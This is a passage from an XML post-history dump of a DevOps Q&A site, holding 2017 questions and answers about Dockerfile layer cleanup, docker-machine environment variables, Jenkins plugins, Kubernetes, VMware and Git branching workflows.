4a415e366388&#xD;&#xA;    Step 2/2 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c283805e687f&#xD;&#xA;    Successfully built c283805e687f&#xD;&#xA;&#xD;&#xA;When the aim is to remove the directory in another layer, either this:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;    RUN rm -r dir&#xD;&#xA;&#xD;&#xA;or this fails:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;    RUN rm -rf dir&#xD;&#xA;&#xD;&#xA;another attempt was using workdir&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    &#xD;&#xA;    RUN mkdir dir&#xD;&#xA;    WORKDIR dir&#xD;&#xA;    RUN wget http://google.com&#xD;&#xA;    WORKDIR /&#xD;&#xA;    RUN ls&#xD;&#xA;    RUN rm -r dir&#xD;&#xA;&#xD;&#xA;building the image resulted in:&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon 2.048 kB&#xD;&#xA;    Step 1/7 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/7 : RUN mkdir dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; aed5c75218cb&#xD;&#xA;    Step 3/7 : WORKDIR dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 715de09e7e08&#xD;&#xA;    Step 4/7 : RUN wget http://google.com&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c07bfb3e1133&#xD;&#xA;    Step 5/7 : WORKDIR /&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c6de86d0191a&#xD;&#xA;    Step 6/7 : RUN ls&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 9567593cce39&#xD;&#xA;    Step 7/7 : RUN rm -r dir&#xD;&#xA;     ---&gt; Running in 7fe7b28294bf&#xD;&#xA;    rm: can't remove 'dir': Directory not empty&#xD;&#xA;    The command '/bin/sh -c rm -r dir' returned a non-zero code: 1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9374" PostHistoryTypeId="5" PostId="2989" RevisionGUID="a60d6cfb-133b-4d26-a309-a0d8a1ec1ceb" CreationDate="2017-12-30T10:41:55.450" UserId="210" Comment="deleted 14 characters in body" Text="I _had_ my docker env variables set like this:&#xD;&#xA;&#xD;&#xA;    set -gx DOCKER_TLS_VERIFY &quot;1&quot;;&#xD;&#xA;    set -gx DOCKER_HOST &quot;tcp://xxx.xxx.xxx.xxx:2376&quot;;&#xD;&#xA;    set -gx DOCKER_CERT_PATH &quot;/home/me/.docker/machine/machines/myhost&quot;;&#xD;&#xA;    set -gx DOCKER_MACHINE_NAME &quot;myhost&quot;;&#xD;&#xA;&#xD;&#xA;When I tried running `docker-compose up`, I got this error:&#xD;&#xA;&#xD;&#xA;    backports.ssl_match_hostname.CertificateError: hostname 'xxx.xxx.xxx.xxx' doesn't match 'localhost'&#xD;&#xA;&#xD;&#xA;Weird. But then i happened upon [this blog post](https://thobalose.co.za/2016/docker-compose-ssl-error/) that recommended that i set my local dns to point `localhost` to `xxx.xxx.xxx.xxx`. And it worked!&#xD;&#xA;&#xD;&#xA;This is super janky though. Why did this solution work? And more importantly, what can I do to not use it again?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9375" PostHistoryTypeId="2" PostId="2993" RevisionGUID="bde3e879-fea8-400e-9a43-e1ad5dbd12f2" CreationDate="2017-12-30T11:02:13.467" UserId="707" Text="Recent Dockerfile spec allows for multiple FROM statements.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/userguide/eng-image/multistage-build/&#xD;&#xA;&#xD;&#xA;Using this approach, you can retain your compilation results to a pure runtime environment." ContentLicense="CC BY-SA 3.0" />
  <row Id="9376" PostHistoryTypeId="50" PostId="1410" RevisionGUID="d1891c4d-1cea-4c70-a8eb-9ec368cab2b5" CreationDate="2017-12-30T14:18:35.203" UserId="-1" />
  <row Id="9379" PostHistoryTypeId="2" PostId="2994" RevisionGUID="fd9fddb6-3970-408b-b675-41725e750d71" CreationDate="2017-12-30T15:48:17.530" UserId="210" Text="It looks like you are using `docker-machine` instead of `docker`.&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/machine/get-started/#create-a-machine&#xD;&#xA;&#xD;&#xA;&gt; Get the environment commands for your new VM.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As noted in the output of the docker-machine create command, you need&#xD;&#xA;&gt; to tell Docker to talk to the new machine. You can do this with the&#xD;&#xA;&gt; docker-machine env command.&#xD;&#xA;&gt; &#xD;&#xA;&gt;      $ docker-machine env default&#xD;&#xA;&gt;      export DOCKER_TLS_VERIFY=&quot;1&quot;&#xD;&#xA;&gt;      export DOCKER_HOST=&quot;tcp://172.16.62.130:2376&quot;&#xD;&#xA;&gt;      export DOCKER_CERT_PATH=&quot;/Users/&lt;yourusername&gt;/.docker/machine/machines/default&quot;&#xD;&#xA;&gt;      export DOCKER_MACHINE_NAME=&quot;default&quot;&#xD;&#xA;&gt;      # Run this command to configure your shell:&#xD;&#xA;&gt;      # eval &quot;$(docker-machine env default)&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9380" PostHistoryTypeId="6" PostId="2989" RevisionGUID="9dfbc8b0-e3a1-4ff4-944b-40b1e96875fd" CreationDate="2017-12-30T15:48:32.113" UserId="210" Comment="edited tags" Text="&lt;docker-machine&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9381" PostHistoryTypeId="5" PostId="2989" RevisionGUID="9dfbc8b0-e3a1-4ff4-944b-40b1e96875fd" CreationDate="2017-12-30T15:48:32.113" UserId="210" Comment="edited tags" Text="I _had_ my docker env variables set like this:&#xD;&#xA;&#xD;&#xA;    set -gx DOCKER_TLS_VERIFY &quot;1&quot;;&#xD;&#xA;    set -gx DOCKER_HOST &quot;tcp://xxx.xxx.xxx.xxx:2376&quot;;&#xD;&#xA;    set -gx DOCKER_CERT_PATH &quot;/home/me/.docker/machine/machines/myhost&quot;;&#xD;&#xA;    set -gx DOCKER_MACHINE_NAME &quot;myhost&quot;;&#xD;&#xA;&#xD;&#xA;When I tried running `docker-compose up`, I got this error:&#xD;&#xA;&#xD;&#xA;    backports.ssl_match_hostname.CertificateError: hostname 'xxx.xxx.xxx.xxx' doesn't match 'localhost'&#xD;&#xA;&#xD;&#xA;But then I happened upon [this blog post](https://thobalose.co.za/2016/docker-compose-ssl-error/) that recommended that I set my local dns to point `localhost` to `xxx.xxx.xxx.xxx`. And it worked.&#xD;&#xA;&#xD;&#xA;Why did this solution work? And more importantly, what can I do to not use it again?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9382" PostHistoryTypeId="5" PostId="2994" RevisionGUID="ee4e5b51-7fbf-4089-a101-fcb4923c7bf5" CreationDate="2017-12-30T15:56:41.490" UserId="210" Comment="added 2569 characters in body" Text="It looks like you are using [tag:docker-machine] instead of [tag:docker].&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/machine/get-started/#create-a-machine&#xD;&#xA;&#xD;&#xA;&gt; Get the environment commands for your new VM.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As noted in the output of the docker-machine create command, you need&#xD;&#xA;&gt; to tell Docker to talk to the new machine. You can do this with the&#xD;&#xA;&gt; docker-machine env command.&#xD;&#xA;&gt; &#xD;&#xA;&gt;      $ docker-machine env default&#xD;&#xA;&gt;      export DOCKER_TLS_VERIFY=&quot;1&quot;&#xD;&#xA;&gt;      export DOCKER_HOST=&quot;tcp://172.16.62.130:2376&quot;&#xD;&#xA;&gt;      export DOCKER_CERT_PATH=&quot;/Users/&lt;yourusername&gt;/.docker/machine/machines/default&quot;&#xD;&#xA;&gt;      export DOCKER_MACHINE_NAME=&quot;default&quot;&#xD;&#xA;&gt;      # Run this command to configure your shell:&#xD;&#xA;&gt;      # eval &quot;$(docker-machine env default)&quot;&#xD;&#xA;&#xD;&#xA;Why did this solution work?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;According to [this documentation][1] the variables have to be set over and over again.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Unset environment variables in the current shell&#xD;&#xA;&gt; &#xD;&#xA;&gt; You might want to use the current shell to connect to a different&#xD;&#xA;&gt; Docker Engine. This would be the case if, for example, you are running&#xD;&#xA;&gt; Docker for Mac concurrent with Docker Toolbox and want to talk to two&#xD;&#xA;&gt; different Docker Engines, or running swarms on Docker Cloud and want&#xD;&#xA;&gt; to switch between managing the swarm and using Docker hosts. In both&#xD;&#xA;&gt; scenarios, you have the option to switch the environment for the&#xD;&#xA;&gt; current shell to talk to different Docker engines.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Run env|grep DOCKER to check whether DOCKER environment variables are set.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     $ env | grep DOCKER&#xD;&#xA;&gt;     DOCKER_HOST=tcp://192.168.99.100:2376&#xD;&#xA;&gt;     DOCKER_MACHINE_NAME=default&#xD;&#xA;&gt;     DOCKER_TLS_VERIFY=1&#xD;&#xA;&gt;     DOCKER_CERT_PATH=/Users/victoriabialas/.docker/machine/machines/default&#xD;&#xA;&gt; &#xD;&#xA;&gt;     If it returns output (as shown in the example), you can unset the DOCKER environment variables.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Use one of two methods to unset DOCKER environment variables in the current shell.&#xD;&#xA;&gt; &#xD;&#xA;&gt;         Run the unset command on the following DOCKER environment variables.&#xD;&#xA;&gt; &#xD;&#xA;&gt;         unset DOCKER_TLS_VERIFY&#xD;&#xA;&gt;         unset DOCKER_CERT_PATH&#xD;&#xA;&gt;         unset DOCKER_MACHINE_NAME&#xD;&#xA;&gt;         unset DOCKER_HOST&#xD;&#xA;&gt; &#xD;&#xA;&gt;         Alternatively, run a shortcut command docker-machine env -u to show the command you need to run to unset all DOCKER variables:&#xD;&#xA;&gt; &#xD;&#xA;&gt;         $ docker-machine env -u&#xD;&#xA;&gt;         unset DOCKER_TLS_VERIFY&#xD;&#xA;&gt;         unset DOCKER_HOST&#xD;&#xA;&gt;         unset DOCKER_CERT_PATH&#xD;&#xA;&gt;         unset DOCKER_MACHINE_NAME&#xD;&#xA;&gt;         # Run this command to configure your shell:&#xD;&#xA;&gt;         # eval $(docker-machine env -u)&#xD;&#xA;&gt; &#xD;&#xA;&gt;         Run eval $(docker-machine env -u) to unset all DOCKER variables in the current shell.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Now, after running either of the above commands, this command should return no output.&#xD;&#xA;&gt; &#xD;&#xA;&gt;      $ env | grep DOCKER&#xD;&#xA;&gt; &#xD;&#xA;&gt;     If you are running Docker for Mac, you can run Docker commands to talk to the Docker Engine installed with that app.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     If you are running swarms on Docker Cloud, you can re-run the export command you used to connect to the swarm.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Since Docker for Windows is incompatible with Toolbox, this scenario isn’t applicable because Docker for Windows uses the Docker&#xD;&#xA;&gt; Engine and Docker Machine that come with it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/machine/get-started/#unset-environment-variables-in-the-current-shell" ContentLicense="CC BY-SA 3.0" />
  <row Id="9383" PostHistoryTypeId="2" PostId="2995" RevisionGUID="2c867ff4-fb20-4c69-8018-bf0bfb3de0e5" CreationDate="2017-12-30T16:01:41.363" UserId="13" Text="Yes, you just need a Read Only Domaine Controler (search for RODC) in the vpc and you'll be able to have a one way replication as the read only controler won't need to send datas back.&#xD;&#xA;&#xD;&#xA;This bring limitation for clients in the vpc, as they won't be able to reach a writable DC they can't change passwords and you'll need a careful site architecture in your forest. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9384" PostHistoryTypeId="2" PostId="2996" RevisionGUID="8912f885-6556-420c-b706-455612e9ac4b" CreationDate="2017-12-30T16:26:49.033" UserId="210" Text="After reading [the commands chapter][1] and finding [this sample][2], it looks like that the custom `GUNICORN_CMD_ARGS` could be omitted by just passing the arguments directly:&#xD;&#xA;&#xD;&#xA;    command: gunicorn thymedata:app --bind=127.0.0.1:8001 --workers=3&#xD;&#xA;&#xD;&#xA;If one really would like to use variables then it could be done as follows:&#xD;&#xA;&#xD;&#xA;    command: gunicorn thymedata:app --bind=${GUNICORN_BIND_ADDRESS} --workers=${GUNICORN_WORKERS}&#xD;&#xA;&#xD;&#xA;   .env&#xD;&#xA;&#xD;&#xA;    GUNICORN_BIND_ADDRESS=127.0.0.1:8001&#xD;&#xA;    GUNICORN_WORKERS=3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.gunicorn.org/en/stable/run.html#commands&#xD;&#xA;  [2]: https://github.com/benoitc/gunicorn/issues/1533" ContentLicense="CC BY-SA 3.0" />
  <row Id="9387" PostHistoryTypeId="2" PostId="2997" RevisionGUID="85d9e2d2-c725-412d-aeb6-c0921794f199" CreationDate="2017-12-30T17:21:12.650" UserId="210" Text="It looks like your k8s cluster has not been deployed well. I have verified that it works to deploy the nginx by using the template as defined in the question.&#xD;&#xA;&#xD;&#xA;In contrast to your cluster, the cluster I am using has several k8s images to host the dashboard etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;            &quot;Images&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;Names&quot;: [&#xD;&#xA;                        &quot;gcr.io/google_containers/kubernetes-dashboard-amd64:v1.6.3&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;SizeBytes&quot;: 138972432&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;Names&quot;: [&#xD;&#xA;                        &quot;gcr.io/google_containers/kubernetes-dashboard-amd64@sha256:71a0de5c6a21cb0c2fbcad71a4fef47acd3e61cd78109822d35e1742f9d8140d&quot;,&#xD;&#xA;                        &quot;gcr.io/google_containers/kubernetes-dashboard-amd64:v1.8.0&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;SizeBytes&quot;: 119155776&#xD;&#xA;                }," ContentLicense="CC BY-SA 3.0" />
  <row Id="9388" PostHistoryTypeId="5" PostId="2997" RevisionGUID="056a41ea-1d8e-474b-9e90-f2a1f282beab" CreationDate="2017-12-30T17:52:04.477" UserId="210" Comment="added 237 characters in body" Text="It looks like your k8s cluster has not been deployed well. I have verified that it works to deploy the nginx by using the template as defined in the question.&#xD;&#xA;&#xD;&#xA;In contrast to your cluster, the cluster I am using has several k8s images to host the dashboard etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;            &quot;Images&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;Names&quot;: [&#xD;&#xA;                        &quot;gcr.io/google_containers/kubernetes-dashboard-amd64:v1.6.3&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;SizeBytes&quot;: 138972432&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;Names&quot;: [&#xD;&#xA;                        &quot;gcr.io/google_containers/kubernetes-dashboard-amd64@sha256:71a0de5c6a21cb0c2fbcad71a4fef47acd3e61cd78109822d35e1742f9d8140d&quot;,&#xD;&#xA;                        &quot;gcr.io/google_containers/kubernetes-dashboard-amd64:v1.8.0&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;SizeBytes&quot;: 119155776&#xD;&#xA;                },&#xD;&#xA;&#xD;&#xA;Also in order to deploy images, at least some namespaces should be returned. &#xD;&#xA;&#xD;&#xA;    $ kubectl get ns&#xD;&#xA;    NAME          STATUS    AGE&#xD;&#xA;    default       Active    37m&#xD;&#xA;    kube-public   Active    37m&#xD;&#xA;    kube-system   Active    37m" ContentLicense="CC BY-SA 3.0" />
  <row Id="9389" PostHistoryTypeId="2" PostId="2998" RevisionGUID="d2e24d42-5948-49c8-93a8-67aea3a045a6" CreationDate="2017-12-30T18:10:58.173" UserId="210" Text="https://gatling.io/docs/2.3/extensions/jenkins_plugin/&#xD;&#xA;&#xD;&#xA;https://wiki.jenkins.io/display/JENKINS/Gatling+Plugin&#xD;&#xA;&#xD;&#xA;&gt; Configuration&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Install Gatling Plugin (via Manage Jenkins -&gt; Manage Plugins)&#xD;&#xA;&gt;     Configure your project to execute Gatling simulations, for example using the Maven plugin (see Maven plugin documentation)&#xD;&#xA;&gt;     Configure your job :&#xD;&#xA;&gt;         For a maven job: add &quot;Track a Gatling load simulation&quot; as a new post-build action. Beware that neither your Jenkin's path nor your&#xD;&#xA;&gt; job's name should contain any space.&#xD;&#xA;&gt;         For a pipeline job: add a line to your pipeline script: gatlingArchive()&#xD;&#xA;&gt; &#xD;&#xA;&gt; Optional configuration: You can publish Gatling results with the&#xD;&#xA;&gt; Jenkins JUnit plugin. Your Gatling simulation needs to have some&#xD;&#xA;&gt; assertions, as each Junit testcase is a different Gatling assertion.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Configure the Jenkins plugin with the following Test report XMLs: target/gatling/assertions-*.xml&#xD;&#xA;&gt;     Execute Gatling with the following option: -Dgatling.useOldJenkinsJUnitSupport=true, for example: mvn gatling:execute -Dgatling.useOldJenkinsJUnitSupport=true" ContentLicense="CC BY-SA 3.0" />
  <row Id="9390" PostHistoryTypeId="2" PostId="2999" RevisionGUID="718b509f-c1b4-4da0-ad20-51731fe3c20f" CreationDate="2017-12-30T18:26:22.123" UserId="210" Text="This [page indicates][1] something about regions and zones, but does not show any resource usage. I think that the resource usage of a zone is not visible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/compute/docs/regions-zones/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9391" PostHistoryTypeId="50" PostId="1637" RevisionGUID="924358b4-5aa5-4a77-81ff-5c9c26aed945" CreationDate="2017-12-30T22:25:11.700" UserId="-1" />
  <row Id="9392" PostHistoryTypeId="2" PostId="3000" RevisionGUID="91bb170f-66b3-4a66-a102-860b506eb681" CreationDate="2017-12-31T04:19:20.543" UserId="228" Text="Well, there is no rename, it is a [multi-step process][1], which involves renaming a bunch of entries inside the vmx file, using [vmware-vdiskmanager to rename to vmdk][2] and in general doing a bunch of potentially problematic actions if you don't know what you are doing.&#xD;&#xA;&#xD;&#xA;You could probably write a quick Perl script to do all that [using this guide][3].&#xD;&#xA;&#xD;&#xA;Another option would be to clone it and delete the original, but it is resource intensive and does way too much work for what it is worth. The code below is untested:&#xD;&#xA;&#xD;&#xA;    vmrun -T fusion stop &quot;/Volumes/vms/old/old.vmx&quot;&#xD;&#xA;    vmrun -T fusion clone &quot;/Volumes/vms/old/old.vmx&quot; &quot;/Volumes/vms/new/new.vmx&quot; full --cloneName=new&#xD;&#xA;    vmrun -T fusion deleteVM &quot;/Volumes/vms/old/old.vmx&quot;&#xD;&#xA;    vmrun -T fusion start &quot;/Volumes/vms/new/new.vmx&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kb.vmware.com/s/article/1029513&#xD;&#xA;  [2]: https://www.vmware.com/support/ws45/doc/disks_vdiskmanager_eg_ws.html&#xD;&#xA;  [3]: https://www.vmware.com/support/developer/viperltoolkit/doc/perl_toolkit_guide.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9393" PostHistoryTypeId="2" PostId="3001" RevisionGUID="68e6cce1-5d53-46e3-a092-42abb1babbb2" CreationDate="2017-12-31T09:59:39.950" UserId="5879" Text="I agree that relying on &quot;developer education&quot; is quite futile, at least when it's the sole course of action. Combine this, however, with automation and you can achieve far greater impact. Both sides, [DAST and SAST](https://dzone.com/articles/dast-vs-sast-a-case-for-dynamic-application-securi) can be covered with:&#xD;&#xA;&#xD;&#xA;1. Unit test authentication: Make sure that you have unit tests that check registration, login, password reset and that it is integrated with your development process (continuous integration). Implement processes that automatically block changes to your code when they fail.&#xD;&#xA;&#xD;&#xA;2. Testing against known vulnerabilities: These are automated DAST tests that test your application from outside. Programs that handle this task include [BDD](https://www.continuumsecurity.net/bdd-security/) and [mittn](https://github.com/F-Secure/mittn) which is inspired by [GAUNTLT](https://github.com/GAUNTLT/GAUNTLT).&#xD;&#xA;&#xD;&#xA;Integrate everything *properly* with a CI server (Jenkins, Gitlab, Travis) and stop having to rely on your programmers' &quot;best effort security&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9399" PostHistoryTypeId="2" PostId="3003" RevisionGUID="aa923c37-08b6-47a9-8abc-ca8e4860e116" CreationDate="2017-12-31T11:54:41.520" UserId="210" Text="&gt; I looked at Jenkins plugins for vault, but they only work for fetching secrets from Vault.&#xD;&#xA;&#xD;&#xA;It depends how the current configuration looks like that is used to deploy apps. &#xD;&#xA;&#xD;&#xA;https://github.com/jenkinsci/hashicorp-vault-plugin&#xD;&#xA;&#xD;&#xA;If one uses Jenkins pipelines, then one could replace the keyId with the one that is defined in Hashicorp vault.&#xD;&#xA;&#xD;&#xA;&gt;     node {&#xD;&#xA;&gt;       // define the secrets and the env variables&#xD;&#xA;&gt;       def secrets = [&#xD;&#xA;&gt;           [$class: 'VaultSecret', path: 'secret/testing', secretValues: [&#xD;&#xA;&gt;               [$class: 'VaultSecretValue', envVar: 'testing', vaultKey: 'value_one'],&#xD;&#xA;&gt;               [$class: 'VaultSecretValue', envVar: 'testing_again', vaultKey: 'value_two']]],&#xD;&#xA;&gt;           [$class: 'VaultSecret', path: 'secret/another_test', secretValues: [&#xD;&#xA;&gt;               [$class: 'VaultSecretValue', envVar: 'another_test', vaultKey: 'value']]]&#xD;&#xA;&gt;       ]&#xD;&#xA;&gt;     &#xD;&#xA;&gt;       // optional configuration, if you do not provide this the next higher configuration&#xD;&#xA;&gt;       // (e.g. folder or global) will be used&#xD;&#xA;&gt;       def configuration = [$class: 'VaultConfiguration',&#xD;&#xA;&gt;                            vaultUrl: 'http://my-very-other-vault-url.com',&#xD;&#xA;&gt;                            vaultCredentialId: 'my-vault-cred-id']&#xD;&#xA;&gt;     &#xD;&#xA;&gt;       // inside this block your credentials will be available as env variables&#xD;&#xA;&gt;       wrap([$class: 'VaultBuildWrapper', configuration: configuration, vaultSecrets: secrets]) {&#xD;&#xA;&gt;           sh 'echo $testing'&#xD;&#xA;&gt;           sh 'echo $testing_again'&#xD;&#xA;&gt;           sh 'echo $another_test'&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }" ContentLicense="CC BY-SA 3.0" />
  <row Id="9402" PostHistoryTypeId="2" PostId="3004" RevisionGUID="433500cc-871f-4ec1-b587-660df3f310af" CreationDate="2017-12-31T12:13:28.790" UserId="210" Text="In my opinion, there should always one key per user:&#xD;&#xA;&#xD;&#xA; - Security: If an employee will leave the company then the key could be revoked and the person who left the company cannot trigger builds anymore&#xD;&#xA; - Access-control and responsibilties: developers from team b are allowed to deploy apps to the production environment of team b, while members of team a are responsible for their own app and are restricted to environment a." ContentLicense="CC BY-SA 3.0" />
  <row Id="9403" PostHistoryTypeId="2" PostId="3005" RevisionGUID="63ee4530-c80c-46be-915c-8cd7ad72052d" CreationDate="2017-12-31T12:48:05.517" UserId="210" Text="Correct me if I am wrong, but that is one of the reasons why docker orchestration tools exists like docker-swarm to be able to deploy multiple docker containers by using one command line.&#xD;&#xA;&#xD;&#xA;&gt; Create a service with 5 replica tasks (–replicas)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Use the --replicas flag to set the number of replica tasks for a replicated service. The following command creates a redis service with&#xD;&#xA;&gt; 5 replica tasks:&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     $ docker service create --name redis --replicas=5 redis:3.0.6&#xD;&#xA;&gt;         &#xD;&#xA;&gt;     4cdgfyky7ozwh3htjfw0d12qv&#xD;&#xA;&#xD;&#xA;If for example 1000 identical containers that use a different environment variable have to be deployed, multiple `docker service create` could be added to a script, instead of copy-paste multiple times in one docker-compose file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9405" PostHistoryTypeId="2" PostId="3006" RevisionGUID="c33d3afa-21f9-455c-9d58-7911c0ede610" CreationDate="2017-12-31T14:48:02.930" UserId="5920" Text="&#xD;&#xA;&#xD;&#xA;What are my best options for deploying a load balancer on AWS with the following requirments:&#xD;&#xA;&#xD;&#xA;   Add auto scaling that will start my own EC2 instances.&#xD;&#xA;    Deploy 3rd party SW on the load balancer.&#xD;&#xA;    Have a readable shared memory (can be S3).&#xD;&#xA;&#xD;&#xA;Found [this tutorial about Kubernetes][1] but not sure about it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9406" PostHistoryTypeId="1" PostId="3006" RevisionGUID="c33d3afa-21f9-455c-9d58-7911c0ede610" CreationDate="2017-12-31T14:48:02.930" UserId="5920" Text="Custom Layer 4 Load Balancer" ContentLicense="CC BY-SA 3.0" />
  <row Id="9407" PostHistoryTypeId="3" PostId="3006" RevisionGUID="c33d3afa-21f9-455c-9d58-7911c0ede610" CreationDate="2017-12-31T14:48:02.930" UserId="5920" Text="&lt;amazon-web-services&gt;&lt;autoscaling&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9408" PostHistoryTypeId="5" PostId="3006" RevisionGUID="b42809d2-9653-4bcd-9040-4b298c1b3b26" CreationDate="2017-12-31T15:20:53.187" UserId="40" Comment="added 32 characters in body" Text="&#xD;&#xA;What are my best options for deploying a load balancer on AWS with the following requirments:&#xD;&#xA;&#xD;&#xA;   Add auto scaling that will start my own EC2 instances.&#xD;&#xA;    Deploy 3rd party SW on the load balancer.&#xD;&#xA;    Have a readable shared memory (can be S3).&#xD;&#xA;&#xD;&#xA;Found the tutorial &quot;[Create an External Load Balancer][1]&quot; about Kubernetes but not sure about it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9410" PostHistoryTypeId="5" PostId="3006" RevisionGUID="2a919f57-1f6a-462a-86ca-187c2fcc445f" CreationDate="2017-12-31T18:41:23.647" UserId="5920" Comment="added 523 characters in body" Text="What are my best options for deploying a load balancer on AWS with the following requirments:&#xD;&#xA;&#xD;&#xA;   Add auto scaling that will start my own EC2 instances.&#xD;&#xA;    Deploy 3rd party SW on the load balancer.&#xD;&#xA;    Have a readable shared memory (can be S3).&#xD;&#xA;&#xD;&#xA;Found the tutorial &quot;[Create an External Load Balancer][1]&quot; about Kubernetes but not sure about it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;deploy 3rd party [software] on the load balancer&quot; -- to do what: Want to start new instances with parameters and for routing rules to the instances that were created with the auto scaling.&#xD;&#xA;&#xD;&#xA; how is &quot;readable shared memory&quot; used, and for what purpose? shared memory between the load balancer and the instances. I can do it with sockets.&#xD;&#xA;&#xD;&#xA; Why is the balancer layer 4 as opposed to a different layer? Need TCP parametrs, layer 7 info can also be useful&#xD;&#xA;&#xD;&#xA;Where is TLS handled? I havn't thought about this.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9411" PostHistoryTypeId="50" PostId="2726" RevisionGUID="f5489801-6173-425f-a312-c40c8262c509" CreationDate="2017-12-31T18:45:37.033" UserId="-1" />
  <row Id="9412" PostHistoryTypeId="2" PostId="3007" RevisionGUID="ad0e9577-53a6-443b-9c31-cd5886c80159" CreationDate="2017-12-31T21:04:38.410" UserId="5901" Text="I've been given the task at work to move everyone from using TFS Source Control to Git as the Development Team has been lead to believe that Git may well be the silver bullet that will fix alot of the teams issues. &#xD;&#xA;I carried out the migration a month back and fortunately Git has fixed one thing for the team - code reviews are now alot more structured as pull requests in Git give the developer and reviewers a auditible platform to merge code into the master branch. There is however an issue of merge conflicts still, some of which taking up to 2 or 3 hours to resolve. The team are questioning if the tool (Git) is to blame whereas under analysis, I believe there are many other fundamental processes  and pratices at fault within the team. To name but a few that don't sit well with me:&#xD;&#xA;&#xD;&#xA; - All products (Visual Studio Projects) maintained by the company sit under one Visual Studio Solution. This is around 40+ VS Projects ranging from Class Librarys, Services and Database tiers. If an update needs to be made to Production for one product, the whole Solution (along with the other products) needs to be released.&#xD;&#xA; - There a 4 Scrum Teams working on the same VS Solution looking after their own Products. The Sprints all start on different days in a two-week cycle and therefore at any point in time, each team's Sprint is at a different state. Due to the issue raised in the first bullet point however, complexity ensues when it comes to the **monthly** release to Production as code for each product can be at separate stages.&#xD;&#xA;&#xD;&#xA;Anyway, that paints part of the scene to help pose my question. We're now using Git using the following structure:&#xD;&#xA;&#xD;&#xA; - Feature branch - Used for each User Story being worked upon in a Sprint&#xD;&#xA; - Develop branch - All Feature branches are merged into here once the Pull Request has been approved and the change **tested in isolation** on a test server&#xD;&#xA; - Master branch - Successfully tested features are cherry-picked into the Master branch&#xD;&#xA;&#xD;&#xA;My question is, how does DevOps / CI handle testing newly 